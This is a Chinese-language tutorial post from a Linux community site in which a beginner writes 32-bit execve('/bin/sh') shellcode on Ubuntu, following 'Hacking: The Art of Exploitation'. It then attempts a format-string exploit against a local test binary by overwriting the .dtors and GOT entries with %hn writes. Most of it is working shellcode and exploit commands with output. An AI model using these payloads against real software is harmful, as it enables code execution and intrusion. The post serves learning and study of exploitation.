手机版
你好,游客 登录 注册 搜索
背景:
阅读新闻

Ubuntu环境下初学编写ShellCode

[日期:2010-12-06] 来源:Linux社区  作者:lotus [字体:大 中 小]

衍生shell shellcode
<Hacking-The art of exploitation>
==========================
exploit@exploit:~ $ more exec_shell.s
BITS 32

jmp short one
two:
pop ebx
xor eax,eax
mov [ebx+7],al
mov [ebx+8],ebx
lea ecx,[ecx+8]
mov [ebx+12],eax
lea edx,[ebx+12]
mov al,11
int 0x80

one:
call two
db '/bin/shXAAAABBBB'
***********************************
利用'bin/shXAAAABBBB'字符串,还有call的特性
**********************************

Ubuntu环境下初学编写ShellCode


************************************
exploit@exploit:~ $ nasm exec_shell.s
exploit@exploit:~ $ export SHELLCODE=$(cat exec_shell)
exploit@exploit:~ $ ./getenvaddr SHELLCODE ./fmt
SHELLCODE will be at 0xbffffc20
exploit@exploit:~ $ objdump -s -j .dtors ./fmt

./fmt: file format elf32-i386

Contents of section .dtors:
8049648 ffffffff 00000000 ........
【即把地址0xbffffc20写入0x08049648+4中】
---------------------------------------------
写入策略
0x0804964c 0xfc20
0x0804964e 0xbfff
---------------------------------------------
exploit@exploit:~ $ gdb -q
(gdb) p 0xbfff-8
$2 = 49143
(gdb) p 0xfc20-0xbfff
$3 = 15393
(gdb) q
exploit@exploit:~ $./fmt $'\x4e\x96\x04\x08\x4c\x96\x04\x08'%49143x%8\$hn%15393x%9\$hn

...
Segmentation fault <----------??????
===
那尝试一下写SLOT的方法:
====
exploit@exploit:~ $ objdump -R ./fmt

./fmt: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049670 R_386_GLOB_DAT __gmon_start__
08049660 R_386_JUMP_SLOT __libc_start_main
08049664 R_386_JUMP_SLOT printf
08049668 R_386_JUMP_SLOT exit
0804966c R_386_JUMP_SLOT strcpy

linux
相关资讯       Ubuntu教程  ShellCode 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款